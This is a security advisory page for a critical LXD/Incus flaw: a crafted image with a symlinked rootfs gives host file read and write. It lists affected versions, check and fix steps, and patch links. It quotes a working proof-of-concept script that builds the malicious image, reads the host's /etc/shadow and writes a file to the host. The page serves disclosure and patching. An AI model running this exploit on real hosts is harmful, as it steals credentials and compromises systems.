---
id: "GHSA-vghh-5rfx-xhq8"
page: "https://infrastack.ai/live/GHSA-vghh-5rfx-xhq8"
kind: "vulnerability"
aliases: ["GHSA-vghh-5rfx-xhq8"]
title: "LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image"
severity: "critical"
cvss: 9.9
epss: null
exploited: false
status: "open"
category: "infrastructure"
products: [{"name": "github.com/canonical/lxd", "fixed": ["0.0.0-20260630083100-c5184be310b1"], "affected": "< 0.0.0-20260630083100-c5184be310b1", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["containers", "cwe-73", "infrastructure", "linux", "lxd", "self-hosted"]
not_affected_if: ["fixed-version", "no-untrusted-images"]
published_at: "2026-11-06T19:36:07+00:00"
first_seen_at: "2026-11-06T19:38:16+00:00"
updated_at: "2026-11-06T19:39:30+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-vghh-5rfx-xhq8", "first_seen_at": "2026-11-06T19:38:16+00:00"}]
exploit_sources: []
---

# LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image

Link for people: https://infrastack.ai/live/GHSA-vghh-5rfx-xhq8 (this .md is for agents)

A crafted container image with a symlinked rootfs directory lets its container reach the host filesystem. An attacker who can import such an image can read and write arbitrary host files with root privileges, possibly leading to command execution.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/canonical/lxd affected < 0.0.0-20260630083100-c5184be310b1 fixed 0.0.0-20260630083100-c5184be310b1

## How to check

- Run `lxd --version` and compare against the fixed Go module version in the product data (commit c5184be310b1, 2026-06-30 snapshot).
- Check whether images from untrusted sources can be imported into the server with `lxc image list`.

## Fix

- Go module github.com/canonical/lxd: move to `0.0.0-20260630083100-c5184be310b1` or later.

## Timeline

- 2026-11-06T19:38:16+00:00 ghsa https://github.com/advisories/GHSA-vghh-5rfx-xhq8

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-vghh-5rfx-xhq8
- [advisory] Maintainer's advisory: github.com https://github.com/canonical/lxd/security/advisories/GHSA-vghh-5rfx-xhq8
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/3dbf4cea14124abda420dd5048d7e657cd30c1b7
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/51dc11ed5258fbb54dd8993b802af02d6d7b0235
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/62bcee5471c2581fce10a648f6b27410ce081b87
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/b499ec4b91dcc90f43aea444b1e19a58109772c2
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/e2aeca6b78677751bab36a7e4efaad0c840ed9fd
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/edb6d994f77333c9c33f4d9a137c754d142f3818

## From the sources

Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv

### Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.


### Details

Incus validates an image as soon as it sees a normal `metadata.yaml` and
a `rootfs/` entry, but full extraction can later process a duplicate top-level
`rootfs` symlink. Later, the stopped-container file API opens
`d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to
it.

```
metadata.yaml
rootfs/
rootfs -> /
```

In practice, this allows a malicious actor to access the host's filesystem
with root privileges.


### PoC

Below, we map the container's rootfs to `/` on the host, but it can be
mapped anywhere. We then retrieve the host's `/etc/shadow` file and
create a file in `/`.

```
#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar

# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs


incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink


# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"

# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
```

### Impact

Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
